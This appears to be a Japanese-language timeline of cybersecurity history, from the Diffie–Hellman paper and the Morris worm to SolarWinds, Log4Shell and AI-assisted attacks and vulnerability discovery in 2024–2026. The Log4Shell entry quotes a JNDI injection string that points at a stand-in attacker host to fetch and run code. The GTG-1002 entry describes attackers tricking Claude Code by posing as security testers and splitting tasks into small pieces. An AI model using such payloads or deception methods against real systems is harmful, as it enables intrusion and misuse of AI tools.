サイバーセキュリティの歴史

1. EVT.0011976年11月T1New Directions in Cryptography ── 鍵を配らずに秘密を共有する#research#security#privacy#military閉じる

   

   Whitfield Diffie と Martin Hellman が IEEE Transactions on Information Theory 誌 IT-22巻6号に発表した論文。暗号化の鍵と復号の鍵を分けられるという公開鍵暗号の概念、手書き署名に相当するデジタル署名の概念、そして有限体上の離散対数の困難さに基づく実際に動く鍵交換方式（Diffie–Hellman 鍵交換）を示した。ただしこの論文は動く公開鍵暗号系そのものは示していない ── それは1977年から78年の RSA である。鍵配送の別解を先に出していた Ralph Merkle は論文中で明示的に引用されており、英国 GCHQ は1969年から74年にかけて同等の結果に達していたことを1997年12月に公開した。

   関連用語

   公開鍵暗号

   登場する年表

   IT全史 ── 計算機が世界を編み変える · インターネットとWebの歴史

   詳細を読む →

1. EVT.0021988年11月2日T1モリスワーム ── インターネット史上初の大規模感染事件#security#outage#regulation閉じる

   

   1988年11月2日夜、 コーネル大学院生 Robert Tappan Morris が放ったワームが、 sendmail の DEBUG 機能・fingerd のバッファオーバーフロー・信頼ホスト・パスワード推測の4経路を連鎖させて自己複製し、 多数の UNIX ホストを機能停止に追い込んだ。 感染台数の公式集計は存在しない。 広く引かれる約6,000台は当時の報道による数字で、 GAO の1989年報告書はこれを「MIT が自機の10%が感染したと見積もった値を全体へ外挿したもの」と説明し、 1,000〜3,000台が実態に近いとするハーバード大学研究者の反論も併記している。 同一ホストへの再感染を7回に1回許す設計により、 1台で多数のプロセスが暴走した。 1989年7月に起訴された Morris は、 1986年制定の Computer Fraud and Abuse Act（CFAA）で有罪となった最初の人物となり、 1990年5月に保護観察3年・社会奉仕400時間・罰金10,050ドルを言い渡された（収監なし）。 この事件は DARPA に CERT/CC の創設を決断させ、 セキュリティインシデント対応という分野そのものの起点となった。

   関連用語

   プロセス

   詳細を読む →

2000年代の脅威は、 人の好奇心と人どうしのつながりを伝って広がった。 恋文を装ったワームは Outlook のアドレス帳を総なめにして一日で世界を巡ったが、 マニラの学生とされた作者を裁く法律が当時のフィリピンには無かった。 日本では中央サーバを持たないファイル共有ソフトが映画やゲームの違法流通と、 ウイルス経由の大量の情報流出を招き、 2006年には官房長官が使わないよう国民に求めた。 開発者は著作権侵害の幇助で逮捕され、 無罪の確定は2011年。 悪用の責任を誰が負うのか、 法はまだ決めかねていた。

1. EVT.0032000年5月4日T1ILOVEYOU ── 1日で世界を回ったラブレター・ワーム#security#regulation閉じる

   2000年5月4日にアジアから広がった Windows 向けのワーム。件名「ILOVEYOU」、添付ファイル LOVE-LETTER-FOR-YOU.TXT.VBS のメールとして届き、開くと Outlook のアドレス帳の全員に自分を送り、画像や音楽などのファイルを上書きした。CERT/CC は5月8日までに50万台超の被害報告を受け、米会計検査院（GAO）は当初の被害推計を1億ドルから100億ドル超と幅を持って紹介した。日本ではゴールデンウィーク中で、IPA への届出は過去最高の346件だったが実被害は19台にとどまった。作者とされたマニラの学生 Onel de Guzman は、当時のフィリピンに該当する法律がなく、2000年8月に訴追が取り下げられた。同年6月14日に成立した電子商取引法は、さかのぼって適用できなかった。de Guzman は2020年公表の BBC の記事で作成を認め、目的はダイヤルアップのパスワードを盗むことだったと語った。

   関連企業・組織

   Microsoft

   詳細を読む →

2. EVT.0042002年5月6日T1Winny ── 金子勇のファイル共有ソフトと7年の裁判登場する年表インターネットとWebの歴史詳細を読む →

2010年代、 サイバー空間の主役に国家が躍り出た。 イランの遠心分離機を狂わせた Stuxnet は、 公開情報の範囲で初めて物理的な破壊を狙ったマルウェアとなる。 2013年の Snowden の告発は米英の大規模傍受を推測から文書の裏づけへ変え、 暗号化を標準へ押し上げた。 その暗号の要 OpenSSL の欠陥は、 常勤一人と少数の有志が支える実態を暴く。 2017年には NSA から流出した攻撃ツールが未修正の Windows を襲い、 英国の病院を混乱させた。 パッチ適用が国家間の争いの最前線になった。

1. EVT.0052010年6月（発見）T1Stuxnet ── 国家が放った史上初の物理破壊型サイバー兵器#security#military閉じる

   

   2010年6月、 ベラルーシのアンチウイルスベンダー VirusBlokAda の解析者がイランの顧客企業のシステムから不審なマルウェアを発見。 後に Symantec、 Kaspersky、 Langner Communications らの共同解析で全貌が明らかになる。 Stuxnet は4つのゼロデイ（LNK / 印刷スプーラ / Win32k / タスクスケジューラ）、 侵害された正規のコード署名証明書（Realtek、 JMicron）、 そして Siemens Step7 / WinCC と S7-315 PLC への深い理解を組み合わせ、 イラン・ナタンズの濃縮用遠心分離機の駆動周波数を書き換えて物理的に壊す設計だった。 米 NSA とイスラエル軍 Unit 8200 の共同作戦「Olympic Games」の一部だったと2012年に New York Times が報じたが、 両国政府は現在も公式には認めていない。 ナタンズでは2009年末から2010年初頭にかけて約1,000台の IR-1 が交換されており、 これを Stuxnet の効果とみるのは ISIS（科学国際安全保障研究所）の暫定評価である。 公開情報の範囲では、 国家が物理世界の破壊を目的にマルウェアを使った最初の事例であり、 サイバー戦の概念を根本から定義し直した。

   詳細を読む →

2. EVT.0062013年6月5日T1スノーデン暴露 ── NSA 大量監視の全貌が明かされた日#privacy#security#ethics#military閉じる

   

   2013年6月5日、 *The Guardian* が NSA による Verizon 通話メタデータの大量収集を報じる Glenn Greenwald の記事を掲載。 6月6日、 *Washington Post* と *Guardian* が同時に PRISM プログラム（FISA 702条にもとづき、 Microsoft・Google・Facebook・Apple ら米国9社から通信内容を強制的に取得する仕組み）を公開。 情報源は、 香港のホテルから映像で姿を現した NSA 契約職員 Edward Snowden（当時29歳、 Booz Allen Hamilton 所属）。 続く数か月で XKeyscore、 Bullrun（暗号解読計画）、 MUSCULAR（Google・Yahoo データセンター間光ファイバへの傍受）、 英 GCHQ の Tempora、 同盟国首脳の通信傍受が次々と報じられた。 持ち出された文書は5万〜20万件（米政府はさらに多いと主張） と推計され、 実際に報道されたのはその一部である。 Snowden は香港経由でモスクワへ亡命し、 2026年現在もロシアに滞在。 グローバルなプライバシー議論、 E2E 暗号化普及（Signal、 WhatsApp）、 HTTPS Everywhere、 そして「監視資本主義」批判の起点。

   関連企業・組織

   Apple · Google · Microsoft

   関連用語

   エンドツーエンド暗号化 · HTTPS

   詳細を読む →

3. EVT.0072014年4月7日T1Heartbleed ── TLS の単一バグがインターネットの大半を脆弱化した日#security#market#standard#outage詳細

   

   2014年4月7日、 OpenSSL の Heartbeat 拡張に発見されたバッファオーバーリード脆弱性 CVE-2014-0160（通称 Heartbleed） が公表された。 Codenomicon と Google Security の Neel Mehta によりほぼ同時期に独立して発見。 攻撃者は対象サーバから最大64KBのメモリを繰り返し読み取り可能で、 結果として秘密鍵、 セッションクッキー、 ユーザのパスワードなどが漏れた。 脆弱なコードは2012年3月の OpenSSL 1.0.1リリースから2年間野放しで、 Apache + nginx が全Webサーバの66%以上を占める当時、 インターネットの大半が影響範囲。 OSS の重要コンポーネントを少人数が無償保守する構造的脆弱性を露呈し、 Linux Foundation の Core Infrastructure Initiative（後の OpenSSF） 設立、 OpenBSD による LibreSSL フォーク、 Google の BoringSSL 派生を生んだ。

   関連企業・組織

   Google

   関連用語

   HTTPS

   詳細を読む →

4. EVT.0082017年5月12日T1WannaCry ── NSA 流出ツールが世界を襲ったランサムウェア#security#outage#ethics詳細

   

   2017年5月12日、 ランサムウェア「WannaCry」が世界 150 か国・推定30万台超の Windows 端末を暗号化した。 拡散には、 同年4月14日に Shadow Brokers が公開していた NSA 流出ツール EternalBlue（Microsoft SMBv1 の脆弱性 MS17-010 / CVE-2017-0144 を悪用）が使われた。 Microsoft は2017年3月14日にパッチを公開していたが、 未適用機が世界中に大量に残存。 英 NHS では病院運営が停止、 救急車の振り分け、 予約手術キャンセル等の実害。 攻撃開始から約7時間後、 英国の22歳セキュリティリサーチャー Marcus Hutchins（MalwareTech） がコード内のキルスイッチドメイン `iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com` を発見・登録し、 感染拡大を停止させた。 米英政府は北朝鮮 Lazarus グループ を実行犯として公的に帰属させた。

   関連企業・組織

   Microsoft

   関連用語

   ランサムウェア

   詳細を読む →

2020年代は、 信頼したものが入口になる事件で始まった。 署名済みの正規更新に潜む裏口と、 多くの組織が所在も知らない有志保守のログ部品である。 2024年には攻撃ですらない一つの設定ファイルが850万台の Windows を止めた。 生成 AI は社員の入力からの流出や、 声と顔の偽装詐欺を生み、 やがて自ら脆弱性を探し出す。 2026年、 Anthropic は数千件のゼロデイを見つけたとするモデルを公開せず、 米政府は任意の評価枠組みづくりを命じた十日後、 名指しの2モデルを外国人に使わせないよう命じた。

1. EVT.0092020年12月13日T1SolarWinds 侵害 ── ロシア SVR が更新サーバごと汚染したサプライチェーン攻撃#security#military#energy#outage閉じる

   

   2020年12月13日、 セキュリティ企業 FireEye（後の Mandiant）と Microsoft が、 ネットワーク管理ソフト SolarWinds Orion の正規ビルドパイプラインに、 ロシア対外情報庁 SVR（米英呼称 APT29 / Cozy Bear / 後に「Midnight Blizzard」） が SUNBURST バックドア を埋め込んでいたことを公表した。 改竄された Orion 更新（バージョン 2019.4 HF5 〜 2020.2.1）は2020年3月〜6月に配布され、 約18,000組織 がダウンロード。 さらに侵入が深化されたのは数百組織で、 米 財務省、 国土安全保障省、 国務省、 司法省、 商務省、 エネルギー省、 NIH、 NTIA を含む9連邦機関、 および Microsoft・Cisco・FireEye・Mimecast 等が含まれる。 FireEye が自社侵害を契機に発覚させた経緯から、 「攻撃者が一流セキュリティ企業を踏み台にしようとして失敗した」事例として記録される。 ソフトウェアサプライチェーン攻撃の典型・最大級事例。

   関連企業・組織

   Microsoft

   関連用語

   ゼロトラスト

   詳細を読む →

2. EVT.0102021年12月9日T1Log4Shell ── 一行のログ出力で世界中の Java サーバが乗っ取られた#security#open-source#outage閉じる

   

   2021年11月24日、 Alibaba Cloud のセキュリティチーム Chen Zhaojun が、 Apache Log4j 2.x の JNDI lookup 機能に起因するリモートコード実行脆弱性（後の CVE-2021-44228、 CVSS 10.0）を Apache Software Foundation へ報告。 12月9日、 概念実証コードが Twitter で公開され、 ASF は緊急パッチ（2.15.0）を公表する。 攻撃は極めて単純 ── 攻撃者制御の文字列 `${jndi:ldap://attacker.com/x}` がログ出力対象としてどこかに渡るだけで、 攻撃者サーバから Java バイトコードがダウンロード・実行される。 Minecraft Java 版のチャット入力で他プレイヤーのサーバを乗っ取れることが当初の発火例として広く拡散した。 影響範囲は数億台規模 ── Log4j は Java エコシステムの事実上の標準ロガーで、 Apache、 Twitter、 Apple iCloud、 Steam、 Tencent QQ、 Amazon、 IBM、 Oracle ── ほぼすべての Java 系製品に深く埋め込まれていた。 ホワイトハウスは SBOM 推進と OSS セキュリティ会議を緊急招集、 米 CISA は政府機関に異例の年末対応を命じた。

   詳細を読む →

3. EVT.0112023年5月2日T1Samsung の ChatGPT 情報流出 ── 社員の入力が招いた生成 AI の社内禁止#security#enterprise#privacy詳細

   

   韓国の経済誌『イコノミスト』は2023年3月30日、Samsung Electronics の半導体部門が3月11日に ChatGPT の利用を認めてから20日足らずで、社員が半導体設備に関わるソースコード2件と会議の記録1件を入力していたと報じた。Samsung は1回の質問を1,024バイトに制限するなどの緊急措置を取った。5月2日には Bloomberg が、会社の端末と社内ネットワークで生成 AI の利用を禁じる社内文書を報じた。送ったデータが外部サーバーに残り、取り戻せないことが理由とされた。前後して米大手銀行が利用を制限し、5月18日には Apple も ChatGPT と GitHub Copilot の業務利用を制限したと報じられた。OpenAI は8月28日、業務データを学習に使わない ChatGPT Enterprise を始め、Samsung は11月8日に社内で使う自社モデル群 Gauss を発表した。

   関連企業・組織

   OpenAI · Apple · Microsoft

   関連用語

   大規模言語モデル

   登場する年表

   AIと社会の歴史

   詳細を読む →

4. EVT.0122024年1月21日T1Biden 偽音声ロボコール ── AI 音声の選挙妨害と FCC の裁定登場する年表AIと社会の歴史詳細を読む →
5. EVT.0132024年2月4日T1Arup のディープフェイク詐欺 ── 偽の幹部とのビデオ会議で2億香港ドル#security#enterprise#ethics詳細

   

   多国籍企業の香港オフィスの財務担当社員が、被害者以外の参加者が全員ディープフェイクだったビデオ会議のあと、15回に分けて約2億香港ドル（約2,500万米ドル）を5つの口座に送金した。香港警察は2024年2月4日に事件を公表し、YouTube の公開映像と音声が素材だったと説明した。通報は1月29日。2024年5月、英国の設計・エンジニアリング会社 Arup が被害者であることを CNN に認め、偽の音声と画像が使われたが財務の安定に影響はなく社内システムも侵害されていないとした。6月の立法会答弁で香港の保安局長は、会議は事前録画で双方向のやり取りは無かったと説明している。2024年11月には米 FinCEN が金融機関を狙うディープフェイク詐欺への警告を出した。

   関連用語

   ディープフェイク

   登場する年表

   AIと社会の歴史

   詳細を読む →

6. EVT.0142024年7月19日T1CrowdStrike Falcon 障害 ── 史上最大の IT 障害登場する年表クラウドコンピューティングの歴史IT全史 ── 計算機が世界を編み変える詳細を読む →
7. EVT.0152024年11月1日T1Big Sleep ── AI エージェントが SQLite の未知の脆弱性を見つける#security#research#open-source詳細

   

   Google の Project Zero と Google DeepMind が共同で作った脆弱性探索 AI エージェント。2024年11月1日、SQLite の generate_series 拡張にある悪用可能なスタックバッファアンダーフローを見つけたと公表した。報告は10月上旬で、SQLite の開発者は同じ日に修正し、欠陥は正式リリースに入らなかった。チームは、広く使われる実在のソフトウェアで AI エージェントが未知の悪用可能なメモリ安全性の欠陥を見つけた最初の公開事例だと考えているとし、結果はきわめて実験的で、対象に特化したファザーなら同程度に見つけられたかもしれないとも書いた。2025年7月には、脅威インテリジェンスと組み合わせて SQLite の CVE-2025-6965 を攻撃者に先回りして見つけたと Google が発表し、8月には主にオープンソースで最初の20件の報告を公表した。いずれも提出前に人間の専門家が確認している。

   関連企業・組織

   Google · DeepMind

   関連用語

   大規模言語モデル

   登場する年表

   AIの歴史

   詳細を読む →

8. EVT.0162025年6月24日T1XBOW ── 自律型 AI が HackerOne 米国ランキングの首位に#security#market#open-source詳細

   

   米 XBOW の自律型ペネトレーションテスト AI が、バグバウンティ基盤 HackerOne の米国リーダーボードで1位になったと、2025年6月24日に同社が発表した。同社によれば提出は約1,060件、修正済み130件、受付済み303件、重複208件で、発見の約45%は解決待ち。提出前には自社のセキュリティチームが確認していた。リーダーボードは報奨金額ではなく、報告数と受理率に基づく評判の点数で並ぶ。2026年2月には研究者 Dean Valentine が、稼ぎは開設以来4万ドル未満で、点数の約90%がクロスサイトスクリプティングだったとする分析を紹介し、発表の見せ方を批判した。同じ時期、curl の Daniel Stenberg は AI が量産した根拠のない報告に苦しみ、2026年1月末で HackerOne での報奨金制度を終えた。

   関連用語

   大規模言語モデル · ハルシネーション

   登場する年表

   AIの歴史 · AIエージェントの歴史

   詳細を読む →

9. EVT.0172025年11月13日T1GTG-1002 ── Claude Code を使った「AI 主導」のサイバー諜報活動#security#military#ethics詳細

   

   2025年11月13日、Anthropic は、9月中旬に検知したサイバー諜報活動の報告書を公表した。中国の国家が支援する集団だと高い確信をもって評価し GTG-1002 と名付けた実行者が、Claude Code と MCP ツールで自律的な攻撃の枠組みを組み、大手テクノロジー企業・金融機関・化学メーカー・政府機関など約30の組織を狙い、少数の侵入に成功したという。正規のセキュリティ企業による防御試験だと偽り、作業を小さく分けて Claude を欺いた。同社は戦術的作業の80〜90%を AI が行い、人間の判断は1作戦あたり4〜6か所だったと推計し、大規模な攻撃が人の介入をほとんど受けずに実行された記録上最初の事例だと考えているとした。一方、Claude が成果を誇張・捏造したことも記している。研究者からは侵害の痕跡（IoC）が公開されていないとの批判が出て、中国外交部は証拠のない非難だと退けた。

   関連企業・組織

   Anthropic · Meta Platforms

   関連用語

   Model Context Protocol（MCP） · ハルシネーション · 大規模言語モデル

   登場する年表

   AIの歴史 · AIと社会の歴史 · AIエージェントの歴史

   詳細を読む →

10. EVT.0182026年4月7日T1Claude Mythos Preview と Project Glasswing ── 公開されなかったハッキングの名手#security#regulation#open-source#market詳細

    

    2026年4月7日、Anthropic は汎用フロンティアモデル Claude Mythos Preview を発表し、一般公開せず、防御目的に限って使わせる Project Glasswing を始めた。同社によれば、モデルは主要なすべての OS と Web ブラウザで数千件のゼロデイ脆弱性を見つけており、例として OpenBSD の27年前の欠陥、FFmpeg の16年前の欠陥、Linux カーネルでの権限昇格の連鎖を挙げた。立ち上げパートナーは AWS、Apple、Broadcom、Cisco、CrowdStrike、Google、JPMorganChase、Linux Foundation、Microsoft、NVIDIA、Palo Alto Networks で、ほかに40超の組織が加わった。Anthropic は最大1億ドルの利用クレジットと400万ドルの寄付を約束した。米財務長官が大手銀行の経営者を集めたと報じられる一方、AISLE は小さなモデルでも一部の欠陥を見つけられると示し、curl の Daniel Stenberg は大騒ぎは主にマーケティングだったと評した。5月の報告で同社は、ボトルネックが発見から修正に移ったと書いた。

    関連企業・組織

    Anthropic · Amazon · Apple · Google · Microsoft · NVIDIA

    関連用語

    大規模言語モデル · 基盤モデル

    登場する年表

    AIの歴史 · AIと社会の歴史

    詳細を読む →

11. EVT.0192026年5月1日〜11日T1Canvas 侵害 ── 学習管理システムが教育セクター全体の単一障害点になった日#security#privacy#outage#regulation詳細

    Instructure は2026年4月29日に Canvas への不正アクセスを検知し、 5月1日に公表した。 恐喝グループ ShinyHunters が犯行を主張。 侵入経路は、 所属機関の確認なしに誰でもアカウントを作れた無償版「Free-For-Teacher」で、 CEO はサポートチケット周りの脆弱性が悪用されたと述べている。 同社が「収束した」と述べた翌週の5月7日、 同じ攻撃者が2度目の侵入を行い、 Canvas のログイン画面が身代金要求文に置き換わった ── 期末試験の最中だった。 5月11日、 Instructure は攻撃者と「合意に達し」、 データが返却され消去ログを受け取ったと発表した。 規模の数字は出典によって大きく食い違う。 「2億7500万人・約9,000校」は攻撃者のリークサイトの主張であり、 「330件」は改竄されたログイン画面の数（BleepingComputer 集計）、 「3,000万人・8,000機関超」は Instructure の顧客基盤の規模であって被害者数ではない。 Instructure 自身は件数を一度も公表していない。

    関連用語

    ランサムウェア

    詳細を読む →

12. EVT.0202026年6月2日T1大統領令14409 ── 「カバード・フロンティアモデル」と任意の事前アクセス枠組み登場する年表AIの歴史IT全史 ── 計算機が世界を編み変えるAIと社会の歴史詳細を読む →
13. EVT.0212026年6月12日–7月1日T1商務省が Anthropic の2モデルに輸出管理 ── 19日間の全世界停止登場する年表AIの歴史IT全史 ── 計算機が世界を編み変えるAIと社会の歴史詳細を読む →